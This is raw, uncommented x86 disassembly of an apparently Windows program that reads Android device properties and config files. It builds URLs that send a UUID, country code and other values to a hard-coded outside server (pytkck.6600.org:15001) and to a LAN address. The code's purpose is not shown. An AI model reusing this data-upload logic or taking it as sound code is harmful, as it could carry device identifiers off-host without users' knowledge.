mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b45c7
push ebx
call fcn.0052e1b9
add esp, 4
push dword [ebp + 8]
call fcn.004e0687
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jne 0x4b45f3
mov dword [ebp - 0x78], 1
jmp 0x4b45f9
pop ecx
jmp 0x4b451a
add esp, 4
mov eax, str.getprop_gsm.operator.iso_country
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418eda
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4634
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4b464b
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x7c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
push 0x621049
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x4b4684
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4b46b4
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x7c], eax
push 0x80000101
push 0
push 0xd
push 1
mov ebx, 0x52ee80
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x4b4708
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x4b471c
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4748
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4b475f
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x7c], eax
push 0x80000101
push 0
push 0xa
push 1
mov ebx, 0x52ee80
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x4b47b3
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x4b47c7
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b47f3
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4b480a
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x7c], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b4838
push 0x288f
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b4855
push 0x288f
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x38
mov dword [ebp - 0x9c], ebx
push dword [ebp - 0x9c]
lea eax, [ebp - 8]
push eax
call fcn.004e146f
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4b4891
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x80], eax
push 0x61d995
push dword [ebp - 0x80]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b48ce
push 0x61d995
push dword [ebp - 0x7c]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b48ce
mov eax, 1
jmp 0x4b48d3
mov eax, 0
test eax, eax
je 0x4b4f13
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.gs.txt
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4924
push ebx
call fcn.0052e1b9
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b493a
mov eax, 0x61d995
push eax
push 1
mov ebx, 0x531070
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b4966
push ebx
call fcn.0052e1b9
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b497c
mov eax, 0x61d9fb
push eax
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b49a8
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4b49c2
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x84], eax
push 0x61d995
push dword [ebp - 0x84]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b4f0e
cmp dword [0x8c4620], 1
jne 0x4b4c80
push dword [ebp - 0x84]
push str.gs
push dword [ebp - 0x7c]
push str.country
push dword [ebp - 0x80]
push str.http:__pytkck.6600.org:15001_upuuid_uuid
mov ecx, 6
call fcn.00401096
add esp, 0x18
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], 0
push 0
push dword [ebp - 0xa0]
mov dword [ebp - 0xa4], 0
push 0
push dword [ebp - 0xa4]
mov dword [ebp - 0xa8], 0
push 0
push dword [ebp - 0xa8]
push 8
call fcn.0052e1b3
add esp, 4
mov dword [ebp - 0xac], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
mov dword [ebp - 0xb4], 0
push 0
lea eax, [ebp - 0xb4]
push eax
mov dword [ebp - 0xb8], 0
push 0
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0xbc], 0
push 0
push dword [ebp - 0xbc]
mov dword [ebp - 0xc0], 0
push 0
lea eax, [ebp - 0xc0]
push eax
mov dword [ebp - 0xc4], 0
push 0
lea eax, [ebp - 0xc4]
push eax
mov dword [ebp - 0xc8], 0
push 0
push dword [ebp - 0xc8]
mov dword [ebp - 0xcc], 0
push 0
lea eax, [ebp - 0xcc]
push eax
mov dword [ebp - 0xd0], 0
push 0
lea eax, [ebp - 0xd0]
push eax
mov dword [ebp - 0xd4], 0
push 0
lea eax, [ebp - 0xd4]
push eax
mov dword [ebp - 0xd8], 0
push 0
lea eax, [ebp - 0xd8]
push eax
mov dword [ebp - 0xdc], 0
push 0
lea eax, [ebp - 0xdc]
push eax
mov dword [ebp - 0xe0], 0
push 0
lea eax, [ebp - 0xe0]
push eax
push 1
push 1
lea eax, [ebp - 0x9c]
push eax
call fcn.004024bd
mov ebx, eax
test ebx, ebx
je 0x4b4b97
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4baa
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xe0]
test ebx, ebx
je 0x4b4bbd
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xdc]
test ebx, ebx
je 0x4b4bd0
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd8]
test ebx, ebx
je 0x4b4be3
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd4]
test ebx, ebx
je 0x4b4bf6
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd0]
test ebx, ebx
je 0x4b4c09
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xc4]
test ebx, ebx
je 0x4b4c1c
push dword [ebp - 0x84]
push str.gs
push dword [ebp - 0x7c]
push str.country
push dword [ebp - 0x80]
push str.http:__192.168.1.73:15001_upuuid_uuid
mov ecx, 6
call fcn.00401096
add esp, 0x18
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], 0
push 0
push dword [ebp - 0xa0]
mov dword [ebp - 0xa4], 0
push 0
push dword [ebp - 0xa4]
mov dword [ebp - 0xa8], 0
push 0
push dword [ebp - 0xa8]
push 8
call fcn.0052e1b3
add esp, 4
mov dword [ebp - 0xac], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
mov dword [ebp - 0xb4], 0
push 0
lea eax, [ebp - 0xb4]
push eax
mov dword [ebp - 0xb8], 0
push 0
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0xbc], 0
push 0
push dword [ebp - 0xbc]
mov dword [ebp - 0xc0], 0
push 0
lea eax, [ebp - 0xc0]
push eax
mov dword [ebp - 0xc4], 0
push 0
lea eax, [ebp - 0xc4]
push eax
mov dword [ebp - 0xc8], 0
push 0
push dword [ebp - 0xc8]
mov dword [ebp - 0xcc], 0
push 0
lea eax, [ebp - 0xcc]
push eax
mov dword [ebp - 0xd0], 0
push 0
lea eax, [ebp - 0xd0]
push eax
mov dword [ebp - 0xd4], 0
push 0
lea eax, [ebp - 0xd4]
push eax
mov dword [ebp - 0xd8], 0
push 0
lea eax, [ebp - 0xd8]
push eax
mov dword [ebp - 0xdc], 0
push 0
lea eax, [ebp - 0xdc]
push eax
mov dword [ebp - 0xe0], 0
push 0
lea eax, [ebp - 0xe0]
push eax
push 1
push 1
lea eax, [ebp - 0x9c]
push eax
call fcn.004024bd
mov ebx, eax
test ebx, ebx
je 0x4b4e25
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4e38
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xe0]
test ebx, ebx
je 0x4b4e4b
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xdc]
test ebx, ebx
je 0x4b4e5e
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd8]
test ebx, ebx
je 0x4b4e71
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd4]
test ebx, ebx
je 0x4b4e84
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd0]
test ebx, ebx
je 0x4b4e97
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xc4]
test ebx, ebx
je 0x4b4eaa
jmp 0x4b4f13
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push 0x637345
push dword [ebp - 0x10]
push str.config_
push dword [ebp - 0x9c]
mov ecx, 4
call fcn.00401096
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4f64
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
push dword [ebp - 0x20]
push str.us_user_
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa8], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa8]
test eax, eax
jne 0x4b4fbd
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b4fd4
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b4feb
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532660
call fcn.0052e1bf
add esp, 0x34
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b5011
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b5024
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b5037
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push 0x637345
push dword [ebp - 0x10]
push str.config_
push dword [ebp - 0x9c]
mov ecx, 4
call fcn.00401096
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5088
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
push dword [ebp - 0x20]
push str.pop_user_
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa8], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa8]
test eax, eax
jne 0x4b50e1
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b50f8
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b510f
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532660
call fcn.0052e1bf
add esp, 0x34
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b5135
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b5148
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b515b
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push 0x637345
push dword [ebp - 0x10]
push str.config_staus_
push dword [ebp - 0x9c]
mov ecx, 4
call fcn.00401096
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b51ac
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4b51e7
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004144af
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00413d30
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b558c
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x9c], esp
push dword [ebp - 0x40]
mov eax, 0x14
call fcn.0052e1ad
add esp, 4
cmp dword [ebp - 0x9c], esp
je 0x4b55c5
push 0x308e
push 0x40182c6
push 6
call fcn.0052e1a7
add esp, 0xc
mov dword [ebp - 0x40], 0
jmp 0x4b5634
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004144af
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b55f4
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x9c], esp
push dword [ebp - 0x40]
mov eax, 0x14
call fcn.0052e1ad
add esp, 4
cmp dword [ebp - 0x9c], esp
je 0x4b562d
push 0x3122
push 0x40182c6
push 6
call fcn.0052e1a7
add esp, 0xc
mov dword [ebp - 0x40], 0
push 0x61d995
push dword [ebp - 0x58]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b5733
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str._shdl.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5696
push ebx
call fcn.0052e1b9
add esp, 4
push 1
push 1
call fcn.004166f6
mov dword [ebp - 0xa4], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b56be
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x4b56d2
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x72b1e8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b56f5
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532660
call fcn.0052e1bf
add esp, 0x34
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b571b
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b572e
push ebx
call fcn.0052e1b9
add esp, 4
jmp 0x4b5733
jmp 0x4b579b
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004144af
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b575b
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x9c], esp
push dword [ebp - 0x40]
mov eax, 0x14
call fcn.0052e1ad
add esp, 4
cmp dword [ebp - 0x9c], esp
je 0x4b5794
push 0x326e
push 0x40182c6
push 6
call fcn.0052e1a7
add esp, 0xc
mov dword [ebp - 0x40], 0
jmp 0x4b5803
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004144af
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b57c3
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x9c], esp
push dword [ebp - 0x40]
mov eax, 0x14
call fcn.0052e1ad
add esp, 4
cmp dword [ebp - 0x9c], esp
je 0x4b57fc
push 0x3302
push 0x40182c6
push 6
call fcn.0052e1a7
add esp, 0xc
mov dword [ebp - 0x40], 0
jmp 0x4b582f
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004144af
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b582b
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x4b59c7
mov eax, 0x637591
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5866
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000301
push 0
push dword [0x8c464c]
push 1
mov eax, 3
mov ebx, 0x59d010
call fcn.0052e1cb
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0042a7dc
push 0x1388
call fcn.004153a8
push 0x80000301
push 0
push dword [0x8c464c]
push 1
mov eax, 3
mov ebx, 0x59d030
call fcn.0052e1cb
add esp, 0x10
push 0x2710
call fcn.004153a8
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.0052e1b3
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401197
pop edx
test ecx, ecx
je 0x4b5961
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b5926
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b593a
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b594e
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
call fcn.0052e1b9
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4b590e
pop edx
pop edi
test edx, edx
je 0x4b59a3
mov ebx, edi
push edx
push ebx
push 0x10
call fcn.0052e1b3
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
pop ebx
pop edx
add ebx, 4
dec edx
jne 0x4b596b
push dword [ebp - 0x24]
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00411ba1
mov dword [ebp - 0x28], eax
jmp 0x4b6a91
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.configconfig.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5a15
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b5a53
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4b5a67
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b5a7e
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b5aaa
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b5abd
push ebx
call fcn.0052e1b9
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa8]
test eax, eax
jne 0x4b5ad3
mov eax, 0x61d995
push eax
push 1
mov ebx, 0x52f4f0
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b5aff
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x28], eax
jl 0x4b5b18
jmp 0x4b6a96
mov eax, 0x63759a
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5b4a
push ebx
call fcn.0052e1b9
add esp, 4
mov dword [ebp - 0xa0], 1
mov eax, dword [ebp - 0x28]
cmp eax, 0
jge 0x4b5b73
push 0x3603
push 0x40182c6
push 0xa
call fcn.0052e1a7
add esp, 0xc
mov dword [ebp - 0x9c], eax
lea ebx, [ebp - 0xa0]
call fcn.00401197
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.0052e1b3
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
lea esi, [ebp - 0x9c]
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov ebx, dword [ebp - 0x8c]
call fcn.00401197
pop edx
test edx, edx
je 0x4b5bc4
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x8c]
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4b5e85
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b5c1a
push 0x3661
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b5c37
push 0x3661
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x9c], ebx
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa0], eax
push 0x6375a5
push dword [ebp - 0xa0]
push str.XXKJ_
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b5c9f
push ebx
call fcn.0052e1b9
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b5ccb
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
test eax, eax
jne 0x4b5ce4
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b5d10
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4b5d2a
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push eax
lea eax, [ebp - 0x94]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4b5e7a
mov ebx, dword [ebp - 0x8c]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x94]
dec eax
jns 0x4b5d7b
push 0x3717
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b5d98
push 0x3717
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 0
jne 0x4b5dfa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x4b5dc8
mov eax, 0x61d995
push eax
push 1
mov ebx, 0x52f4f0
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xa8], eax
jne 0x4b5dfa
mov eax, 1
jmp 0x4b5dff
mov eax, 0
test eax, eax
je 0x4b5e72
mov ebx, dword [ebp - 0x8c]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x94]
dec eax
jns 0x4b5e34
push 0x3771
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b5e51
push 0x3771
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], 1
jmp 0x4b5e7a
pop eax
pop ebx
pop ecx
jmp 0x4b5d40
add esp, 0xc
pop eax
pop ebx
pop ecx
jmp 0x4b5be5
add esp, 0xc
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4b5ea1
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4b602c
mov ebx, dword [ebp - 0x8c]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b5eec
